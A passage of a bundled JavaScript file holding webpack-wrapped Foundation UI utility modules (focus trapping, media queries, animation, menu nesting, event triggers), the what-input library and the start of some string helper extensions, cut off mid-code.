* @return {jQuery} $focusable - all focusable elements within `$element`\n */\n findFocusable: findFocusable,\n\n /**\n * Returns the component name name\n * @param {Object} component - Foundation component, e.g. Slider or Reveal\n * @return String componentName\n */\n register: function register(componentName, cmds) {\n commands[componentName] = cmds;\n },\n // TODO9438: These references to Keyboard need to not require global. Will 'this' work in this context?\n //\n\n /**\n * Traps the focus in the given element.\n * @param {jQuery} $element jQuery object to trap the foucs into.\n */\n trapFocus: function trapFocus($element) {\n var $focusable = findFocusable($element),\n $firstFocusable = $focusable.eq(0),\n $lastFocusable = $focusable.eq(-1);\n $element.on('keydown.zf.trapfocus', function (event) {\n if (event.target === $lastFocusable[0] && parseKey(event) === 'TAB') {\n event.preventDefault();\n $firstFocusable.focus();\n } else if (event.target === $firstFocusable[0] && parseKey(event) === 'SHIFT_TAB') {\n event.preventDefault();\n $lastFocusable.focus();\n }\n });\n },\n\n /**\n * Releases the trapped focus from the given element.\n * @param {jQuery} $element jQuery object to release the focus for.\n */\n releaseFocus: function releaseFocus($element) {\n $element.off('keydown.zf.trapfocus');\n }\n};\n/*\n * Constants for easier comparing.\n * Can be used like Foundation.parseKey(event) === Foundation.keys.SPACE\n */\n\nfunction getKeyCodes(kcs) {\n var k = {};\n\n for (var kc in kcs) {\n k[kcs[kc]] = kcs[kc];\n }\n\n return k;\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.util.keyboard.js?")},"./js/foundation.util.mediaQuery.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"MediaQuery\", function() { return MediaQuery; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\n // Default set of media queries\n\nvar defaultQueries = {\n 'default': 'only screen',\n landscape: 'only screen and (orientation: landscape)',\n portrait: 'only screen and (orientation: portrait)',\n retina: 'only screen and (-webkit-min-device-pixel-ratio: 2),' + 'only screen and (min--moz-device-pixel-ratio: 2),' + 'only screen and (-o-min-device-pixel-ratio: 2/1),' + 'only screen and (min-device-pixel-ratio: 2),' + 'only screen and (min-resolution: 192dpi),' + 'only screen and (min-resolution: 2dppx)'\n}; // matchMedia() polyfill - Test a CSS media type/query in JS.\n// Authors & copyright(c) 2012: Scott Jehl, Paul Irish, Nicholas Zakas, David Knight. MIT license\n\n/* eslint-disable */\n\nwindow.matchMedia || (window.matchMedia = function () {\n \"use strict\"; // For browsers that support matchMedium api such as IE 9 and webkit\n\n var styleMedia = window.styleMedia || window.media; // For those that don't support matchMedium\n\n if (!styleMedia) {\n var style = document.createElement('style'),\n script = document.getElementsByTagName('script')[0],\n info = null;\n style.type = 'text/css';\n style.id = 'matchmediajs-test';\n\n if (!script) {\n document.head.appendChild(style);\n } else {\n script.parentNode.insertBefore(style, script);\n } // 'style.currentStyle' is used by IE <= 8 and 'window.getComputedStyle' for all other browsers\n\n\n info = 'getComputedStyle' in window && window.getComputedStyle(style, null) || style.currentStyle;\n styleMedia = {\n matchMedium: function matchMedium(media) {\n var text = '@media ' + media + '{ #matchmediajs-test { width: 1px; } }'; // 'style.styleSheet' is used by IE <= 8 and 'style.textContent' for all other browsers\n\n if (style.styleSheet) {\n style.styleSheet.cssText = text;\n } else {\n style.textContent = text;\n } // Test if media query is true or false\n\n\n return info.width === '1px';\n }\n };\n }\n\n return function (media) {\n return {\n matches: styleMedia.matchMedium(media || 'all'),\n media: media || 'all'\n };\n };\n}());\n/* eslint-enable */\n\nvar MediaQuery = {\n queries: [],\n current: '',\n\n /**\n * Initializes the media query helper, by extracting the breakpoint list from the CSS and activating the breakpoint watcher.\n * @function\n * @private\n */\n _init: function _init() {\n var self = this;\n var $meta = jquery__WEBPACK_IMPORTED_MODULE_0___default()('meta.foundation-mq');\n\n if (!$meta.length) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('').appendTo(document.head);\n }\n\n var extractedStyles = jquery__WEBPACK_IMPORTED_MODULE_0___default()('.foundation-mq').css('font-family');\n var namedQueries;\n namedQueries = parseStyleToObject(extractedStyles);\n\n for (var key in namedQueries) {\n if (namedQueries.hasOwnProperty(key)) {\n self.queries.push({\n name: key,\n value: \"only screen and (min-width: \".concat(namedQueries[key], \")\")\n });\n }\n }\n\n this.current = this._getCurrentSize();\n\n this._watcher();\n },\n\n /**\n * Checks if the screen is at least as wide as a breakpoint.\n * @function\n * @param {String} size - Name of the breakpoint to check.\n * @returns {Boolean} `true` if the breakpoint matches, `false` if it's smaller.\n */\n atLeast: function atLeast(size) {\n var query = this.get(size);\n\n if (query) {\n return window.matchMedia(query).matches;\n }\n\n return false;\n },\n\n /**\n * Checks if the screen matches to a breakpoint.\n * @function\n * @param {String} size - Name of the breakpoint to check, either 'small only' or 'small'. Omitting 'only' falls back to using atLeast() method.\n * @returns {Boolean} `true` if the breakpoint matches, `false` if it does not.\n */\n is: function is(size) {\n size = size.trim().split(' ');\n\n if (size.length > 1 && size[1] === 'only') {\n if (size[0] === this._getCurrentSize()) return true;\n } else {\n return this.atLeast(size[0]);\n }\n\n return false;\n },\n\n /**\n * Gets the media query of a breakpoint.\n * @function\n * @param {String} size - Name of the breakpoint to get.\n * @returns {String|null} - The media query of the breakpoint, or `null` if the breakpoint doesn't exist.\n */\n get: function get(size) {\n for (var i in this.queries) {\n if (this.queries.hasOwnProperty(i)) {\n var query = this.queries[i];\n if (size === query.name) return query.value;\n }\n }\n\n return null;\n },\n\n /**\n * Gets the current breakpoint name by testing every breakpoint and returning the last one to match (the biggest one).\n * @function\n * @private\n * @returns {String} Name of the current breakpoint.\n */\n _getCurrentSize: function _getCurrentSize() {\n var matched;\n\n for (var i = 0; i < this.queries.length; i++) {\n var query = this.queries[i];\n\n if (window.matchMedia(query.value).matches) {\n matched = query;\n }\n }\n\n if (_typeof(matched) === 'object') {\n return matched.name;\n } else {\n return matched;\n }\n },\n\n /**\n * Activates the breakpoint watcher, which fires an event on the window whenever the breakpoint changes.\n * @function\n * @private\n */\n _watcher: function _watcher() {\n var _this = this;\n\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off('resize.zf.mediaquery').on('resize.zf.mediaquery', function () {\n var newSize = _this._getCurrentSize(),\n currentSize = _this.current;\n\n if (newSize !== currentSize) {\n // Change the current media query\n _this.current = newSize; // Broadcast the media query change on the window\n\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).trigger('changed.zf.mediaquery', [newSize, currentSize]);\n }\n });\n }\n}; // Thank you: https://github.com/sindresorhus/query-string\n\nfunction parseStyleToObject(str) {\n var styleObject = {};\n\n if (typeof str !== 'string') {\n return styleObject;\n }\n\n str = str.trim().slice(1, -1); // browsers re-quote string style values\n\n if (!str) {\n return styleObject;\n }\n\n styleObject = str.split('&').reduce(function (ret, param) {\n var parts = param.replace(/\\+/g, ' ').split('=');\n var key = parts[0];\n var val = parts[1];\n key = decodeURIComponent(key); // missing `=` should be `null`:\n // http://w3.org/TR/2012/WD-url-20120524/#collect-url-parameters\n\n val = typeof val === 'undefined' ? null : decodeURIComponent(val);\n\n if (!ret.hasOwnProperty(key)) {\n ret[key] = val;\n } else if (Array.isArray(ret[key])) {\n ret[key].push(val);\n } else {\n ret[key] = [ret[key], val];\n }\n\n return ret;\n }, {});\n return styleObject;\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.util.mediaQuery.js?")},"./js/foundation.util.motion.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Move\", function() { return Move; });\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Motion\", function() { return Motion; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n\n\n\n\n/**\n * Motion module.\n * @module foundation.motion\n */\n\nvar initClasses = ['mui-enter', 'mui-leave'];\nvar activeClasses = ['mui-enter-active', 'mui-leave-active'];\nvar Motion = {\n animateIn: function animateIn(element, animation, cb) {\n animate(true, element, animation, cb);\n },\n animateOut: function animateOut(element, animation, cb) {\n animate(false, element, animation, cb);\n }\n};\n\nfunction Move(duration, elem, fn) {\n var anim,\n prog,\n start = null; // console.log('called');\n\n if (duration === 0) {\n fn.apply(elem);\n elem.trigger('finished.zf.animate', [elem]).triggerHandler('finished.zf.animate', [elem]);\n return;\n }\n\n function move(ts) {\n if (!start) start = ts; // console.log(start, ts);\n\n prog = ts - start;\n fn.apply(elem);\n\n if (prog < duration) {\n anim = window.requestAnimationFrame(move, elem);\n } else {\n window.cancelAnimationFrame(anim);\n elem.trigger('finished.zf.animate', [elem]).triggerHandler('finished.zf.animate', [elem]);\n }\n }\n\n anim = window.requestAnimationFrame(move);\n}\n/**\n * Animates an element in or out using a CSS transition class.\n * @function\n * @private\n * @param {Boolean} isIn - Defines if the animation is in or out.\n * @param {Object} element - jQuery or HTML object to animate.\n * @param {String} animation - CSS class to use.\n * @param {Function} cb - Callback to run when animation is finished.\n */\n\n\nfunction animate(isIn, element, animation, cb) {\n element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(element).eq(0);\n if (!element.length) return;\n var initClass = isIn ? initClasses[0] : initClasses[1];\n var activeClass = isIn ? activeClasses[0] : activeClasses[1]; // Set up the animation\n\n reset();\n element.addClass(animation).css('transition', 'none');\n requestAnimationFrame(function () {\n element.addClass(initClass);\n if (isIn) element.show();\n }); // Start the animation\n\n requestAnimationFrame(function () {\n element[0].offsetWidth;\n element.css('transition', '').addClass(activeClass);\n }); // Clean up the animation when it finishes\n\n element.one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__[\"transitionend\"])(element), finish); // Hides the element (for out animations), resets the element, and runs a callback\n\n function finish() {\n if (!isIn) element.hide();\n reset();\n if (cb) cb.apply(element);\n } // Resets transitions and removes motion-specific classes\n\n\n function reset() {\n element[0].style.transitionDuration = 0;\n element.removeClass(\"\".concat(initClass, \" \").concat(activeClass, \" \").concat(animation));\n }\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.util.motion.js?")},"./js/foundation.util.nest.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Nest\", function() { return Nest; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n\n\n\nvar Nest = {\n Feather: function Feather(menu) {\n var type = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 'zf';\n menu.attr('role', 'menubar');\n var items = menu.find('li').attr({\n 'role': 'menuitem'\n }),\n subMenuClass = \"is-\".concat(type, \"-submenu\"),\n subItemClass = \"\".concat(subMenuClass, \"-item\"),\n hasSubClass = \"is-\".concat(type, \"-submenu-parent\"),\n applyAria = type !== 'accordion'; // Accordions handle their own ARIA attriutes.\n\n items.each(function () {\n var $item = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n $sub = $item.children('ul');\n\n if ($sub.length) {\n $item.addClass(hasSubClass);\n $sub.addClass(\"submenu \".concat(subMenuClass)).attr({\n 'data-submenu': ''\n });\n\n if (applyAria) {\n $item.attr({\n 'aria-haspopup': true,\n 'aria-label': $item.children('a:first').text()\n }); // Note: Drilldowns behave differently in how they hide, and so need\n // additional attributes. We should look if this possibly over-generalized\n // utility (Nest) is appropriate when we rework menus in 6.4\n\n if (type === 'drilldown') {\n $item.attr({\n 'aria-expanded': false\n });\n }\n }\n\n $sub.addClass(\"submenu \".concat(subMenuClass)).attr({\n 'data-submenu': '',\n 'role': 'menubar'\n });\n\n if (type === 'drilldown') {\n $sub.attr({\n 'aria-hidden': true\n });\n }\n }\n\n if ($item.parent('[data-submenu]').length) {\n $item.addClass(\"is-submenu-item \".concat(subItemClass));\n }\n });\n return;\n },\n Burn: function Burn(menu, type) {\n var //items = menu.find('li'),\n subMenuClass = \"is-\".concat(type, \"-submenu\"),\n subItemClass = \"\".concat(subMenuClass, \"-item\"),\n hasSubClass = \"is-\".concat(type, \"-submenu-parent\");\n menu.find('>li, > li > ul, .menu, .menu > li, [data-submenu] > li').removeClass(\"\".concat(subMenuClass, \" \").concat(subItemClass, \" \").concat(hasSubClass, \" is-submenu-item submenu is-active\")).removeAttr('data-submenu').css('display', '');\n }\n};\n\n\n//# sourceURL=webpack:///./js/foundation.util.nest.js?")},"./js/foundation.util.triggers.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Triggers\", function() { return Triggers; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_util_motion__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.motion */ \"./js/foundation.util.motion.js\");\n\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\n\n\n\n\nvar MutationObserver = function () {\n var prefixes = ['WebKit', 'Moz', 'O', 'Ms', ''];\n\n for (var i = 0; i < prefixes.length; i++) {\n if (\"\".concat(prefixes[i], \"MutationObserver\") in window) {\n return window[\"\".concat(prefixes[i], \"MutationObserver\")];\n }\n }\n\n return false;\n}();\n\nvar triggers = function triggers(el, type) {\n el.data(type).split(' ').forEach(function (id) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"#\".concat(id))[type === 'close' ? 'trigger' : 'triggerHandler'](\"\".concat(type, \".zf.trigger\"), [el]);\n });\n};\n\nvar Triggers = {\n Listeners: {\n Basic: {},\n Global: {}\n },\n Initializers: {}\n};\nTriggers.Listeners.Basic = {\n openListener: function openListener() {\n triggers(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this), 'open');\n },\n closeListener: function closeListener() {\n var id = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('close');\n\n if (id) {\n triggers(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this), 'close');\n } else {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).trigger('close.zf.trigger');\n }\n },\n toggleListener: function toggleListener() {\n var id = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('toggle');\n\n if (id) {\n triggers(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this), 'toggle');\n } else {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).trigger('toggle.zf.trigger');\n }\n },\n closeableListener: function closeableListener(e) {\n e.stopPropagation();\n var animation = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('closable');\n\n if (animation !== '') {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_2__[\"Motion\"].animateOut(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this), animation, function () {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).trigger('closed.zf');\n });\n } else {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).fadeOut().trigger('closed.zf');\n }\n },\n toggleFocusListener: function toggleFocusListener() {\n var id = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('toggle-focus');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"#\".concat(id)).triggerHandler('toggle.zf.trigger', [jquery__WEBPACK_IMPORTED_MODULE_0___default()(this)]);\n }\n}; // Elements with [data-open] will reveal a plugin that supports it when clicked.\n\nTriggers.Initializers.addOpenListener = function ($elem) {\n $elem.off('click.zf.trigger', Triggers.Listeners.Basic.openListener);\n $elem.on('click.zf.trigger', '[data-open]', Triggers.Listeners.Basic.openListener);\n}; // Elements with [data-close] will close a plugin that supports it when clicked.\n// If used without a value on [data-close], the event will bubble, allowing it to close a parent component.\n\n\nTriggers.Initializers.addCloseListener = function ($elem) {\n $elem.off('click.zf.trigger', Triggers.Listeners.Basic.closeListener);\n $elem.on('click.zf.trigger', '[data-close]', Triggers.Listeners.Basic.closeListener);\n}; // Elements with [data-toggle] will toggle a plugin that supports it when clicked.\n\n\nTriggers.Initializers.addToggleListener = function ($elem) {\n $elem.off('click.zf.trigger', Triggers.Listeners.Basic.toggleListener);\n $elem.on('click.zf.trigger', '[data-toggle]', Triggers.Listeners.Basic.toggleListener);\n}; // Elements with [data-closable] will respond to close.zf.trigger events.\n\n\nTriggers.Initializers.addCloseableListener = function ($elem) {\n $elem.off('close.zf.trigger', Triggers.Listeners.Basic.closeableListener);\n $elem.on('close.zf.trigger', '[data-closeable], [data-closable]', Triggers.Listeners.Basic.closeableListener);\n}; // Elements with [data-toggle-focus] will respond to coming in and out of focus\n\n\nTriggers.Initializers.addToggleFocusListener = function ($elem) {\n $elem.off('focus.zf.trigger blur.zf.trigger', Triggers.Listeners.Basic.toggleFocusListener);\n $elem.on('focus.zf.trigger blur.zf.trigger', '[data-toggle-focus]', Triggers.Listeners.Basic.toggleFocusListener);\n}; // More Global/complex listeners and triggers\n\n\nTriggers.Listeners.Global = {\n resizeListener: function resizeListener($nodes) {\n if (!MutationObserver) {\n //fallback for IE 9\n $nodes.each(function () {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).triggerHandler('resizeme.zf.trigger');\n });\n } //trigger all listening elements and signal a resize event\n\n\n $nodes.attr('data-events', \"resize\");\n },\n scrollListener: function scrollListener($nodes) {\n if (!MutationObserver) {\n //fallback for IE 9\n $nodes.each(function () {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).triggerHandler('scrollme.zf.trigger');\n });\n } //trigger all listening elements and signal a scroll event\n\n\n $nodes.attr('data-events', \"scroll\");\n },\n closeMeListener: function closeMeListener(e, pluginId) {\n var plugin = e.namespace.split('.')[0];\n var plugins = jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"[data-\".concat(plugin, \"]\")).not(\"[data-yeti-box=\\\"\".concat(pluginId, \"\\\"]\"));\n plugins.each(function () {\n var _this = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this);\n\n _this.triggerHandler('close.zf.trigger', [_this]);\n });\n } // Global, parses whole document.\n\n};\n\nTriggers.Initializers.addClosemeListener = function (pluginName) {\n var yetiBoxes = jquery__WEBPACK_IMPORTED_MODULE_0___default()('[data-yeti-box]'),\n plugNames = ['dropdown', 'tooltip', 'reveal'];\n\n if (pluginName) {\n if (typeof pluginName === 'string') {\n plugNames.push(pluginName);\n } else if (_typeof(pluginName) === 'object' && typeof pluginName[0] === 'string') {\n plugNames.concat(pluginName);\n } else {\n console.error('Plugin names must be strings');\n }\n }\n\n if (yetiBoxes.length) {\n var listeners = plugNames.map(function (name) {\n return \"closeme.zf.\".concat(name);\n }).join(' ');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(listeners).on(listeners, Triggers.Listeners.Global.closeMeListener);\n }\n};\n\nfunction debounceGlobalListener(debounce, trigger, listener) {\n var timer,\n args = Array.prototype.slice.call(arguments, 3);\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(trigger).on(trigger, function (e) {\n if (timer) {\n clearTimeout(timer);\n }\n\n timer = setTimeout(function () {\n listener.apply(null, args);\n }, debounce || 10); //default time to emit scroll event\n });\n}\n\nTriggers.Initializers.addResizeListener = function (debounce) {\n var $nodes = jquery__WEBPACK_IMPORTED_MODULE_0___default()('[data-resize]');\n\n if ($nodes.length) {\n debounceGlobalListener(debounce, 'resize.zf.trigger', Triggers.Listeners.Global.resizeListener, $nodes);\n }\n};\n\nTriggers.Initializers.addScrollListener = function (debounce) {\n var $nodes = jquery__WEBPACK_IMPORTED_MODULE_0___default()('[data-scroll]');\n\n if ($nodes.length) {\n debounceGlobalListener(debounce, 'scroll.zf.trigger', Triggers.Listeners.Global.scrollListener, $nodes);\n }\n};\n\nTriggers.Initializers.addMutationEventsListener = function ($elem) {\n if (!MutationObserver) {\n return false;\n }\n\n var $nodes = $elem.find('[data-resize], [data-scroll], [data-mutate]'); //element callback\n\n var listeningElementsMutation = function listeningElementsMutation(mutationRecordsList) {\n var $target = jquery__WEBPACK_IMPORTED_MODULE_0___default()(mutationRecordsList[0].target); //trigger the event handler for the element depending on type\n\n switch (mutationRecordsList[0].type) {\n case \"attributes\":\n if ($target.attr(\"data-events\") === \"scroll\" && mutationRecordsList[0].attributeName === \"data-events\") {\n $target.triggerHandler('scrollme.zf.trigger', [$target, window.pageYOffset]);\n }\n\n if ($target.attr(\"data-events\") === \"resize\" && mutationRecordsList[0].attributeName === \"data-events\") {\n $target.triggerHandler('resizeme.zf.trigger', [$target]);\n }\n\n if (mutationRecordsList[0].attributeName === \"style\") {\n $target.closest(\"[data-mutate]\").attr(\"data-events\", \"mutate\");\n $target.closest(\"[data-mutate]\").triggerHandler('mutateme.zf.trigger', [$target.closest(\"[data-mutate]\")]);\n }\n\n break;\n\n case \"childList\":\n $target.closest(\"[data-mutate]\").attr(\"data-events\", \"mutate\");\n $target.closest(\"[data-mutate]\").triggerHandler('mutateme.zf.trigger', [$target.closest(\"[data-mutate]\")]);\n break;\n\n default:\n return false;\n //nothing\n }\n };\n\n if ($nodes.length) {\n //for each element that needs to listen for resizing, scrolling, or mutation add a single observer\n for (var i = 0; i <= $nodes.length - 1; i++) {\n var elementObserver = new MutationObserver(listeningElementsMutation);\n elementObserver.observe($nodes[i], {\n attributes: true,\n childList: true,\n characterData: false,\n subtree: true,\n attributeFilter: [\"data-events\", \"style\"]\n });\n }\n }\n};\n\nTriggers.Initializers.addSimpleListeners = function () {\n var $document = jquery__WEBPACK_IMPORTED_MODULE_0___default()(document);\n Triggers.Initializers.addOpenListener($document);\n Triggers.Initializers.addCloseListener($document);\n Triggers.Initializers.addToggleListener($document);\n Triggers.Initializers.addCloseableListener($document);\n Triggers.Initializers.addToggleFocusListener($document);\n};\n\nTriggers.Initializers.addGlobalListeners = function () {\n var $document = jquery__WEBPACK_IMPORTED_MODULE_0___default()(document);\n Triggers.Initializers.addMutationEventsListener($document);\n Triggers.Initializers.addResizeListener();\n Triggers.Initializers.addScrollListener();\n Triggers.Initializers.addClosemeListener();\n};\n\nTriggers.init = function ($, Foundation) {\n Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__[\"onLoad\"])($(window), function () {\n if ($.triggersInitialized !== true) {\n Triggers.Initializers.addSimpleListeners();\n Triggers.Initializers.addGlobalListeners();\n $.triggersInitialized = true;\n }\n });\n\n if (Foundation) {\n Foundation.Triggers = Triggers; // Legacy included to be backwards compatible for now.\n\n Foundation.IHearYou = Triggers.Initializers.addGlobalListeners;\n }\n};\n\n\n\n//# sourceURL=webpack:///./js/foundation.util.triggers.js?")},jquery:function(module,exports){eval("module.exports = __WEBPACK_EXTERNAL_MODULE_jquery__;\n\n//# sourceURL=webpack:///external_%7B%22root%22:%5B%22jQuery%22%5D,%22amd%22:%22jquery%22,%22commonjs%22:%22jquery%22,%22commonjs2%22:%22jquery%22%7D?")}})}); +/** + * what-input - A global utility for tracking the current input method (mouse, keyboard or touch). + * @version v5.2.1 + * @link https://github.com/ten1seven/what-input + * @license MIT + */ +!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("whatInput",[],t):"object"==typeof exports?exports.whatInput=t():e.whatInput=t()}(this,function(){return function(n){var o={};function i(e){if(o[e])return o[e].exports;var t=o[e]={exports:{},id:e,loaded:!1};return n[e].call(t.exports,t,t.exports,i),t.loaded=!0,t.exports}return i.m=n,i.c=o,i.p="",i(0)}([function(e,t){"use strict";e.exports=function(){if("undefined"==typeof document||"undefined"==typeof window)return{ask:function(){return"initial"},element:function(){return null},ignoreKeys:function(){},specificKeys:function(){},registerOnChange:function(){},unRegisterOnChange:function(){}};var t=document.documentElement,n=null,a="initial",u=a,o=Date.now();try{window.sessionStorage.getItem("what-input")&&(a=window.sessionStorage.getItem("what-input")),window.sessionStorage.getItem("what-intent")&&(u=window.sessionStorage.getItem("what-intent"))}catch(e){}var d=["button","input","select","textarea"],i=[],c=[16,17,18,91,93],w=[],p={keydown:"keyboard",keyup:"keyboard",mousedown:"mouse",mousemove:"mouse",MSPointerDown:"pointer",MSPointerMove:"pointer",pointerdown:"pointer",pointermove:"pointer",touchstart:"touch",touchend:"touch"},r=!1,s={x:null,y:null},f={2:"touch",3:"touch",4:"mouse"},l=!1;try{var e=Object.defineProperty({},"passive",{get:function(){l=!0}});window.addEventListener("test",null,e)}catch(e){}var h=function(){var e=!!l&&{passive:!0};window.PointerEvent?(window.addEventListener("pointerdown",m),window.addEventListener("pointermove",y)):window.MSPointerEvent?(window.addEventListener("MSPointerDown",m),window.addEventListener("MSPointerMove",y)):(window.addEventListener("mousedown",m),window.addEventListener("mousemove",y),"ontouchstart"in window&&(window.addEventListener("touchstart",m,e),window.addEventListener("touchend",m))),window.addEventListener(b(),y,e),window.addEventListener("keydown",m),window.addEventListener("keyup",m),window.addEventListener("focusin",g),window.addEventListener("focusout",E)},m=function(e){var t=e.which,n=p[e.type];"pointer"===n&&(n=L(e));var o=!w.length&&-1===c.indexOf(t),i=w.length&&-1!==w.indexOf(t),r="keyboard"===n&&t&&(o||i)||"mouse"===n||"touch"===n;if(x(n)&&(r=!1),r&&a!==n){a=n;try{window.sessionStorage.setItem("what-input",a)}catch(e){}v("input")}if(r&&u!==n){var s=document.activeElement;if(s&&s.nodeName&&-1===d.indexOf(s.nodeName.toLowerCase())||"button"===s.nodeName.toLowerCase()&&!k(s,"form")){u=n;try{window.sessionStorage.setItem("what-intent",u)}catch(e){}v("intent")}}},v=function(e){t.setAttribute("data-what"+e,"input"===e?a:u),S(e)},y=function(e){var t=p[e.type];if("pointer"===t&&(t=L(e)),M(e),!r&&!x(t)&&u!==t){u=t;try{window.sessionStorage.setItem("what-intent",u)}catch(e){}v("intent")}},g=function(e){e.target.nodeName?(n=e.target.nodeName.toLowerCase(),t.setAttribute("data-whatelement",n),e.target.classList&&e.target.classList.length&&t.setAttribute("data-whatclasses",e.target.classList.toString().replace(" ",","))):E()},E=function(){n=null,t.removeAttribute("data-whatelement"),t.removeAttribute("data-whatclasses")},L=function(e){return"number"==typeof e.pointerType?f[e.pointerType]:"pen"===e.pointerType?"touch":e.pointerType},x=function(e){var t=Date.now(),n="mouse"===e&&"touch"===a&&t-o<200;return o=t,n},b=function(){return"onwheel"in document.createElement("div")?"wheel":void 0!==document.onmousewheel?"mousewheel":"DOMMouseScroll"},S=function(e){for(var t=0,n=i.length;t=0&&n[t.charCodeAt(e)];)--e;for(++e;r6&&n.length-r<20?n.substring(0,r):n)+"..."}),String.prototype.hasOwnProperty("startsWith")||(String.prototype.startsWith=function(t){return 0===(this+"").indexOf(t)}),String.prototype.hasOwnProperty("endsWith")||(String.prototype.endsWith=function(t){return(this+"").substring(this.length-t.length)===t}),String.prototype.capitalize=function(){return this.charAt(0).toUpperCase()+this.slice(1)},String.prototype.unCamelCase=function(){return this.replace(/([a-z])([A-Z])/g,"$1-$2").toLowerCase()},String.prototype.getExt=function(){var t=this+"",e=t.lastIndexOf(".");return e<=0||e>=t.length-1?"":t.substring(e+1)},String.prototype.stripExt=function(){var t=this+"",e=t.lastIndexOf(".");return e<=0||e>t.length-1?t:t.substring(0,e)},String.prototype.hasExt=function(t){var e=this+"",n=e.lastIndexOf(".");return n>=0&&(e=e.substring(n+1).toLowerCase(),(t+",").indexOf(e+",")>=0)},String.prototype.replaceExt=function(t){var e=this+"",n=e.lastIndexOf(".");return n<=0?e:e.substring(0,n+1)+t},String.prototype.fixExtension=function(){return(this+"").replace(/.gif$/gi,".png").replace(/.tif+$/gi,".jpg")},String.prototype.getDir=function(){var t=(this+"").split("#")[0];return t.substring(0,t.lastIndexOf("/")+1)},String.prototype.getFile=function(){var t=(this+"").split("#")[0];return t.substring(t.lastIndexOf("/")+1)},String.prototype.getRelpath=function(t){var e=this+"",n=e.lastIndexOf("#");for(-1===n?n=e.length-1:n--;n>=0&&("/"!==e[n]||0!=t--);n--);return e.substring(n+1)},String.prototype.fixUrl=function(){for(var t,e,n=this+"";(t=n.indexOf("../"))>0;){if(1===t||-1===(e=n.lastIndexOf("/",t-2)))return 